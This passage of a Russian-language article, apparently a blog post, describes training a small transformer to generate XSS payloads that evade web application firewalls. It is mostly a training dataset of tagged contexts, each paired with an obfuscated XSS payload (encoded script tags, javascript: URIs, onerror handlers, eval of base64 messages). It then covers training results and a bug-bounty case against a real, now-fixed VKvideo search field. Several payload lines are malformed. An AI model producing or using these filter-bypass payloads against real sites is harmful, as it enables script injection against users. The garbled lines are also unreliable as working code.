[WAF:script,onerror|FIELD:style|CONTEXT:css|ENCODING:url]%22%3E%3Cstyle%3E@import%20url(javascript:alert(1));%3C/style%3E
[WAF:script,onerror|FIELD:style|CONTEXT:css|ENCODING:url]%22%3e%3CstyLE%3E@iMPort%20uRl(javA%73%43riPt:a%4Cert(1));%3C/style%3e
[WAF:script,onerror|FIELD:style|CONTEXT:css|ENCODING:url]%22%3E%3Cstyle%3E@i%6Dport%20ur%6C(javascr%69pt:alert(1));%3%43/style%3E
[WAF:script,onerror|FIELD:style|CONTEXT:css|ENCODING:url]%22%3E%3Cstyle%3E@import%20url(javascript:alert(1));%3C/style%3E
[WAF:script,onerror|FIELD:style|CONTEXT:css|ENCODING:css_escape]\"\3E \3Cstyle\3E @import url(javascript:alert(1))\3B \3C/style\3E
[WAF:script,onerror|FIELD:style|CONTEXT:css|ENCODING:css_escape]\\\"\\\3\E\ \\\3\C\s\t\y\l\e\\\3\E\ \@\i\m\p\o\r\t\ \u\r\l\(\j\a\v\a\s\c\r\i\p\t\:\a\l\e\r\t\(\1\)\)\\\3\B\ \\\3\C\/\s\t\y\l\e\\\3\E
[WAF:alert,onerror|FIELD:link|CONTEXT:html|ENCODING:html]><link rel="import" href="data:text/html,<script>prompt(1)</script>">
[WAF:alert,onerror|FIELD:link|CONTEXT:html|ENCODING:html]>;&lt;link rel="import" href="data:text/html,<script>prompt(1)</script>">
[WAF:alert,onerror|FIELD:link|CONTEXT:html|ENCODING:html]><link rel="import" href="data:text/html,<sCRIPT>prompT(1)</sCRIPT>">
[WAF:alert,onerror|FIELD:link|CONTEXT:html|ENCODING:html]>&lt;link rel="import" href="data:text/html,<script>prompt(1)</script>">
[WAF:alert,onerror|FIELD:link|CONTEXT:html|ENCODING:html]&gT;<Link rel="iMport" hREf="dAta:text/HTML,<script>PRoMpt(1)</script&gT;">
[WAF:script|FIELD:script|CONTEXT:html|ENCODING:url]%3E%3Cscript%20src%3D%22data:text/javascript,alert(1)%22%3E%3C/script%3E
[WAF:script|FIELD:script|CONTEXT:html|ENCODING:url]%3E%3cscrIPt%20Src%3D%22DaTa:%74%65Xt/jaVasCripT,aleRt(1)%22%3e%3C/scRIPt%3e
[WAF:script|FIELD:script|CONTEXT:html|ENCODING:url]%3E%3Cscript%20src%3D%22data:text/javas%63ript,al%65rt(1)%22%3E%3C/%73cript%3E
[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:base64]><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:base64]><oBJecT datA="datA:text/Html;Base64,pHNJcmlWdD5hBGVydcgxKTwvc2NyaxB0PG==">
[WAF:|FIELD:embed|CONTEXT:html|ENCODING:url]%3E%3Cembed%20src%3D%22data%3Atext/html,%3Cscript%3Ealert(1)%3C/script%3E%22%3E
[WAF:|FIELD:embed|CONTEXT:html|ENCODING:url]%3E%3CemBed%20src%3d%22D%61ta%3atext/Htm%6C,%3CsCrIPT%3EaleRT(1)%3c/scRi%70T%3E%22%3E
[WAF:|FIELD:embed|CONTEXT:html|ENCODING:url]%3E%3Cembed%20%73rc%3D%22data%3Atext/htm%6C,%3Cscr%69pt%3%45alert(1)%3C/script%3E%22%3E
[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:html]><applet code="javascript:alert(1)">
[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:html]&gt;<applet code="JAvasCRIPt:aLert(1)">
[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:html]>&lt;applet code="javascript:alert(1)">
[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:html]><AppLEt code="jAVAsCRipT:alerT(1)"&gT;
[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:html]&gt;<applet code="javascript:alert(1)">
[WAF:script,onerror|FIELD:form|CONTEXT:html|ENCODING:multipart]>--boundary\r\nContent-Disposition: form-data; name="x"\r\n\r\n<form action="javascript:alert(1)"><input type="submit">
[WAF:script,onerror|FIELD:form|CONTEXT:html|ENCODING:multipart]>--bouNdAry\R\NCoNtent-DiSPOsItion: form-daTA; nAMe="x"\r\n\R\n<fOrm AcTion="JaVAscrIpT:AlErt(1)"><InPut tYpe="subMiT">
[WAF:script,onerror|FIELD:form|CONTEXT:html|ENCODING:multipart]>--boundary\r\nContent-Disposition: form-data; name="x"\r\n\r\n<form action="jAvAScript:aLErT(1)"><input type="submit">
[WAF:alert,onerror|FIELD:input|CONTEXT:html|ENCODING:url]%3E%3Cinput%20type%3D%22image%22%20src%3D%22x%22%20formaction%3D%22javascript:prompt(1)%22%3E
[WAF:alert,onerror|FIELD:input|CONTEXT:html|ENCODING:url]%3E%3ciNPuT%20typE%3D%22IMaGe%22%20Src%3D%22x%22%20form%61%63Tion%3D%22jaV%61ScrIp%74:promPt(1)%22%3e
[WAF:alert,onerror|FIELD:input|CONTEXT:html|ENCODING:url]%3E%3Cinput%20type%3D%22image%22%20src%3D%22x%22%20formaction%3D%22jAvAsCrIpT:prompt(1)%22%3E
[WAF:alert,onerror|FIELD:input|CONTEXT:html|ENCODING:url]%3E%3Cinput%20type%3D%22image%22%20src%3D%22x%22%20formaction%3D%22%6Aav%61script:prompt(1)%22%3E
[WAF:script|FIELD:button|CONTEXT:html|ENCODING:html]><button formaction="javascript:alert(1)">click</button>
[WAF:script|FIELD:button|CONTEXT:html|ENCODING:html]>&lt;button formaction="javascript:alert(1)">click</button>
[WAF:script|FIELD:button|CONTEXT:html|ENCODING:html]><BuTtoN formaCtiOn="javAscrIpT:alert(1)">cLIcK</bUttoN>
[WAF:script|FIELD:button|CONTEXT:html|ENCODING:html]>;<button formaction="javascript:alert(1)">click</button>
[WAF:script|FIELD:button|CONTEXT:html|ENCODING:html]><button formaction="JAvascrIpt:aLErT(1)">click</button>
[WAFnerror|FIELD:video|CONTEXT:html|ENCODING:url]%3E%3Cvideo%20src%3D%22x%22%20onerror%3D%22alert(1)%22%3E
[WAFnerror|FIELD:video|CONTEXT:html|ENCODING:url]%3E%3Cvideo%20src%3D%22%78%22%20oner%72or%3D%22aler%74(1)%22%3E
[WAFnerror|FIELD:video|CONTEXT:html|ENCODING:url]%3E%3%63VidEo%20Src%3%44%22x%22%20onErrOr%3%44%22aLert(1)%22%3E
[WAF:|FIELD:audio|CONTEXT:html|ENCODING:base64]><audio src="data:audio/wav;base64,AAA=" onerror="alert(1)">
[WAF:|FIELD:audio|CONTEXT:html|ENCODING:base64]><aUDIo sRC="daTa:Audio/wav;bAsE64,AAa=" ONErrOr="Alert(1)">
[WAF:|FIELD:audio|CONTEXT:html|ENCODING:base64]><audio src="data:audio/wav;base64,AAA=" ONerRor="aLErT(1)">
[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:url]%3E%3Cportal%20src%3D%22data%3Atext/html,%3Cscript%3Ealert(1)%3C/script%3E%22%3E
[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:url]%3e%3cportal%20%73Rc%3d%22datA%3ATExt/H%54ml,%3cSCript%3%45alErt(1)%3c/scripT%3E%22%3E
[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:url]%3E%3Cportal%20%73rc%3D%22data%3Atext/html,%3Cscript%3Ealer%74(1)%3C/script%3E%22%3%45
[WAF:script,onerror|FIELD:template|CONTEXT:html|ENCODING:html]><template><script>alert(1)</script></template>
[WAF:script,onerror|FIELD:template|CONTEXT:html|ENCODING:html]≫<tEMplaTe&gt;<scRipT≫ALeRt(1)&lT;/SCrIpt>&lT;/teMplate≫
[WAF:script,onerror|FIELD:template|CONTEXT:html|ENCODING:html]>&lt;template><sCriPT>AlERt(1)</sCriPT></template>
[WAF:script,onerror|FIELD:template|CONTEXT:html|ENCODING:html]><template><script>alert(1)</script></template>
[WAF:script,onerror|FIELD:template|CONTEXT:html|ENCODING:html]><template><script>alert(1)</script></template>
[WAF:alert,onerror|FIELD:slot|CONTEXT:html|ENCODING:shadow>><slot name="x"><script>prompt(1)</script></slot>
[WAF:script|FIELD:custom|CONTEXT:js|ENCODING:hex]'; customElements.define('\x78\x2d\x78', class extends HTMLElement { connectedCallback() { \x61\x6c\x65\x72\x74(1) } }); //
[WAF:script|FIELD:custom|CONTEXT:js|ENCODING:hex]'; \x63ustomEl\x65ments.define('\x78\x2d\x78', class extends HTMLElement { connectedCallback() { \x61\x6c\x65\x72\x74(1) } }); //
[WAF:script|FIELD:custom|CONTEXT:js|ENCODING:hex]'; customEl\x65ments.define('\x78\x2d\x78', class extends HTMLElement { connectedCallback() { \x61\x6c\x65\x72\x74(1) } }); //
[WAFnerror|FIELD:worker|CONTEXT:js|ENCODING:base64]'; new Worker('data:text/javascript;base64,YWxlcnQoMSk='); //
[WAFnerror|FIELD:worker|CONTEXT:js|ENCODING:base64]'; new Worker('data:text/jAVaScRiPT;base64,YWxlcnQoMSk='); //
[WAFnerror|FIELD:worker|CONTEXT:js|ENCODING:base64]'; neW WorkER('daTa:text/javAsCripT;bAse64,yWxlcnQOmSk='); //
[WAF:|FIELD:blob|CONTEXT:js|ENCODING:hex]'; new Blob(['\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74(1)\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'], {type: 'text/html'}); //
[WAF:|FIELD:blob|CONTEXT:js|ENCODING:hex]'; new Blob(['\\x783c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74(1)\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'], {type: 'text/html'}); //
[WAF:|FIELD:blob|CONTEXT:js|ENCODING:hex]'; new Blob(['\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74(1)\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'], {\x74ype: 'text/html'}); //
[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:url]'; import('data%3Atext/javascript,alert(1)'); //
[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:url]'; im%70oR%74('datA%3AtexT/JA%76asCript,alErT(1)'); //
[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:url]'; im%70or%74('data%3Atext/javascript,alert(1)'); //
[WAF:script,onerror|FIELD:websocket|CONTEXT:url|ENCODING:url]ws%3A%2F%2Fexample.com%2F%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
[WAF:script,onerror|FIELD:websocket|CONTEXT:url|ENCODING:url]w%53%3A%2F%2FexamPLE.coM%2f%22%3e%3CscRiPt%3%45a%4C%65rt(1)%3c%2Fscript%3e
[WAF:script,onerror|FIELD:websocket|CONTEXT:url|ENCODING:url]ws%3A%2F%2Fexample.com%2F%22%3E%3C%73cript%3Eale%72t(1)%3C%2%46script%3E
[WAF:alert,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:base64]'; window.addEventListener('message', function(e){eval(atob(e.data))}); postMessage(btoa('alert(1)'), '*'); //
[WAF:alert,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:base64]'; windoW.aDdeVeNtLisTener('MessAgE', functioN(e){eval(Atob(e.daTA))}); posTMesSaGe(btoa('alErt(1)'), '*'); //
[WAF:alert,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:base64]'; WInDow.addEventListener('message', fUnctIoN(e){EVAl(atob(e.data))}); postMessage(btoa('aleRt(1)'), '*'); //
[WAF:script|FIELD:storage|CONTEXT:js|ENCODING:html]'; localStorage.setItem('x', '<img src=x onerror=alert(1)>'); //
[WAF:script|FIELD:storage|CONTEXT:js|ENCODING:html]'; LoCaLsTORAge.sETItem('x', '<Img Src=x OnERRor=alErt(1)>'); //
[WAF:script|FIELD:storage|CONTEXT:js|ENCODING:html]'; localStorage.setItem('x', '<img src=x ONerrOr=aLert(1)>'); //
[WAF:script|FIELD:storage|CONTEXT:js|ENCODING:html]'; localStorage.setItem('x', '<img src=x onerror=alert(1)>'); //
[WAF:script|FIELD:storage|CONTEXT:js|ENCODING:html]'; localStorage.setItem('x', '<img src=x onerror=alert(1)>'); //
[WAFnerror|FIELD:clipboard|CONTEXT:js|ENCODING:url]'; navigator.clipboard.writeText('%3Cscript%3Ealert(1)%3C/script%3E'); //
[WAFnerror|FIELD:clipboard|CONTEXT:js|ENCODING:url]'; Navigator.clipBoaRd.wRiTEtEXt('%3CSC%52iP%74%3Ealert(1)%3C/sCrIPt%3E'); //
[WAFnerror|FIELD:clipboard|CONTEXT:js|ENCODING:url]'; navigator.clipboard.%77riteTex%74('%3Cscri%70t%3Ealer%74(1)%3C/script%3E'); //
[WAF:|FIELD:notify|CONTEXT:js|ENCODING:hex]'; Notification.requestPermission(function(){\x61\x6c\x65\x72\x74(1)}); //
[WAF:|FIELD:notify|CONTEXT:js|ENCODING:hex]'; Notification.req\x75estPermission(function(){\x61\x6c\x65\x72\x74(1)}); //
[WAF:|FIELD:notify|CONTEXT:js|ENCODING:hex]'; \x4eotification.\x72equestPermission(FuNctioN(){\x61\x6c\x65\x72\x74(1)}); //3.7. Как проверить, что промпты работают
После обучения модели запустите test.py с разными промптами:Если для похожих промптов модель генерирует разные пэйлоады — она действительно научилась понимать контекст. Если все ответы одинаковые — датасет слишком маленький или однообразный.Context: [WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]
Payload: "><img src=x onerror=confirm(1)>
Context: [WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]
Payload: '><img src=x onerror=confirm(1)>
Context: [WAF:script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]
Payload: '; alert(1); //
3.8. Промпты как инструмент управления моделью
Когда модель обучена, промпт становится вашим главным инструментом управления. Меняя параметры в мета-теге, вы заставляете модель генерировать пэйлоады под разные условия.Примеры:
Если модель хорошо обучена, она будет генерировать осмысленный пэйлоад для любого сочетания параметров, даже если конкретная комбинация не встречалась в датасете. В этом и заключается сила нейросетей — способность обобщать.# Обычный HTML-атрибут
[WAF:script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]
# Атрибут в одинарных кавычках
[WAF:script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]
# JavaScript-контекст
[WAF:script,alert|FIELD:username|CONTEXT:js|ENCODING:utf8]
# URL (для редиректов)
[WAF:onerror|FIELD:avatar|CONTEXT:url|ENCODING:url]
# JSON API
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]
# Разные кодировки для обхода фильтров
[WAF:script|FIELD:profile|CONTEXT:url|ENCODING:url]
[WAF:script|FIELD:profile|CONTEXT:url|ENCODING:hex]
[WAF:script|FIELD:profile|CONTEXT:url|ENCODING:double_url]
Глава 4. Тестирование
Итак, запустим наш prepare.py и получаем следующее:Отлично, словарь создался, датасет обработан.
Запускаем наше обучение:
Спустя 6к итераций получаем такой результат:
Конечный loss у нас 0.1414, что весьма неплохо, а вот val loss получился 1.7714
Это связано с тем что модель хорошо понимает те примеры которые есть в датасете, но плохо справляется с теми которых в датасете нет. То есть по факту проблема в том что датасет довольно маленький и однообразный. Если его расширить и добавить больше примеров, то результаты будут гораздо лучше.
Давай проверим на тестах:
Честно говоря, на таком датасете я ожидал более худших результатов. Но интересно что модель не только справилась, но и сгенерировала оригинальные варианты.
То есть у нас:
- onerrOr=prompt(1) (смешанный регистр)
- oncHange=aleRt(1) (обфускация регистром)
- (asynCTIon(){ aleRT(1)})() (функция с обфусцированным названием)
- <Img src=x OnERr=alErT(1)> (разный регистр в тегах)
Это показывает, что модель выучила паттерны, а не просто запомнила конкретные строки из датасета. Именно ради этого мы и обучали нейросеть.
Да, в ответах есть некоторые проблемы, такие как опечатки и потеря букв, но это решается расширением датасета и увеличением интераций обучения.
Глава 5. Реальный пример из практики
Рассмотрим случай нахождения мной реальной Reflected XSS на сервисе VKvideo (отчет со скрина в начале статьи) при помощи этого инструмента. Он, как мне кажется, хорошо демонстрирует плюсы генерации пайлоадов через архитектуры трансформеров.Важно: Уязвимость уже закрыта и исправлена. Сейчас этот неочевидный триггер обрабатывается.Для понимания - Большие ЛЛМ, такие как ChatGPT, DeepSeek, ClaudeAI не смогли выявить данную уязвимость, в то время как лично обученная мною модель выдала подходящий и максимально неочевидный пайлоад на 8 генерации. Все потому что эти флагманские модели ориентируются на то чтобы выдать качественные и максимально логичные ответы исходя из особенностей языка и построения предложения, что "распыляет" их внимание и из за чего эффективность ответов не такая какая хотелось бы, а наша обученная микро модель просто пытается подобрать наиболее перспективные токены исходя из контекста и не тратит внимание на сторонние задачи.
Ручной поиск и магия случайности модели
Начал я стандартно: вбил в поиск vkvideo.ru/?q=test123 и посмотрел, где отображается текст.Оказалось, что пользовательский ввод попадает в два места:
Я перепробовал кучу стандартных пэйлоадов, ничего не работало. WAF либо резал атрибуты, либо экранировал кавычки, либо просто отбрасывал опасные теги.
- В блок «Показаны результаты по запросу "test123"» — внутри HTML
- В атрибут href ссылки (если в запросе был URL)
Тогда я решил применить модель.
Я запустил свой xss_gen.py (аналог test.py из статьи) с промптом, который описывал реальную ситуацию на сайте. На тот момент я уже понял, что стандартные пэйлоады не работают, и решил дать модели максимально широкий контекст.
Промпт, который я ввёл:
[WAF:script,alert,onerror,onload|FIELD:search|CONTEXT:html_href|ENCODING:utf8]
Не удалось прогрузить медиа
Что вообще обозначает этот промпт:Небольшая оговорка:
Датасет который я прикрепил вам в статье начальный, мой личный содержит гораздо больше примеров и стек технологий (не только стандартные пайлоады, но и продвинутая обфускация, пайлоады для React, Next js и тд)
- WAF:script,alert,onerror,onload — я перечислил всё, что сайт гарантированно блокировал
- FIELD:search — уязвимое поле было поиском
- CONTEXT:html_href — я заметил, что ввод попадает в атрибут href ссылки
- ENCODING:utf8 — обычная кодировка
Она выдала несколько вариантов. Один из них выглядел так:
Я сначала не понял, что такое @imate. Этого слова не было в датасете. Модель его придумала сама.
Откуда модель взяла
Модель не знает, что такое @imate. Она просто комбинировала символы, которые видела в датасете:- Символ @ встречался в примерах с обфускацией и в современных контекстах (React-роутинг, параметры в URL)
- Слово imate — случайная комбинация, которую модель сгенерировала, потому что она похожа на английские слова
Модель не понимала, что делает. Она просто перебирала варианты, которые статистически вероятны. И один из них оказался рабочим. Слово могло быть любым, спец символы тоже, просто модель выдала то что выдала.
Почему это сработало?
Сложно сказать точно.Когда я ввёл @imate, сервер, вероятно, обработал запрос как-то иначе. Возможно, @ воспринимается как маркер пользователя (как в соцсетях: @username). Всё, что после @imate, попало в блок результатов поиска без нормальной фильтрации. WAF смотрел на запрос, не увидел там <script> или onerror — и пропустил.
Почему именно imate, а не любое другое слово? Может быть, это слово было в белом списке. Может быть, длина имела значение. Может быть, совпадение.
Важно другое: модель не знала про этот баг. Она просто сгенерировала случайную строку с символом @. Человек бы не додумался проверять @imate, это слишком похоже на бред и неочевидно. А модель проверила (в смысле, предложила проверить), и баг нашёлся. Более того, сначала я думал что модель просто проигнорировала контекст WAF со словами которые он блокирует (так как выдала javascript:alert('XSS'), а в контексте было указано WAF:script,alert,onerror,onload), однако тот факт, что из всех сгенерированных пайлоадов только 1 был с запрет словами навел меня на мысль - а что если это не игнорирование контекста, а предположение того что в данном случае контекст не имеет значения, при таком ключевом слове в начале?
Как итог + 1 интересный кейс в работе и + 15 тысяч в качестве бонуса, пайлоад отработал как надо:
Не удалось прогрузить медиа
Глава 6. Заключение
В этой статье я не стал уделять внимание пониманию того, как именно работают трансформеры, как работает механизм внимания и не стал углубляться в принципы токенизации. Если у вас есть желание все это понять и рассмотреть подробнее, дайте знать, напишу более подробную статью с объяснениями (или серию статей?).На самом то деле, генерация XSS это прям верхушка айсберга, вещей можно делать массу. Да и код я вам дал базовый, для реального боя необходимо добавить немного улучшений. Сами архитектуры моделей это лишь часть хорошего результата, гораздо важнее механизм ее взаимодействия с вашими данными и пайплайны работы.
Когда я только начинал изучать всю эту тему мне казалось, что вся эта тема с ИИ нечто прорывное и невероятное. На деле же это все не больше чем работа с матрицами и векторами, чистая математика.
Да, код который я вам дал не приведет вас к созданию своего Claude Mythos или GPT-5, но и изначальная задача того не требовала.
Если немного углубиться в тему, то можно понять, что все эти крутые и популярные апостолы ИИ тренда по сути своей ничего прорывного не делают, в конечном итоге они все базируются на одном и том же принципе.
LIMB